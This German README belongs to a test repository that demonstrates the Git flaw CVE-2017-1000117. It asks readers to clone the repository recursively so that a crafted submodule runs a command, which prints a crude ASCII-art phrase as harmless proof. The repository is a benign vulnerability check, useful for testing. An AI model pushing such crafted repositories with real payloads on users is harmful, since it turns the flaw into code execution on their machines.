
Demonstration von CVE-2017-1000117: eine Git-Schwachstelle, die durch rekursives Klonen bösartiger Submodule ausgelöst wird und eine beliebige Befehlsausführung verursacht.
Test-Repository, um die Git-Sicherheitslücke CVE-2017-1000117 zu überprüfen
Klonen Sie dieses Repository rekursiv. Der Satz 「うんこもりもり」(was so viel bedeutet wie „jede Menge Scheiße“) wird auf Ihrem Terminal angezeigt.
$ git clone --recursive https://github.com/greymd/CVE-2017-1000117.git
Cloning into 'CVE-2017-1000117'...
remote: Counting objects: 5, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0
...
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
...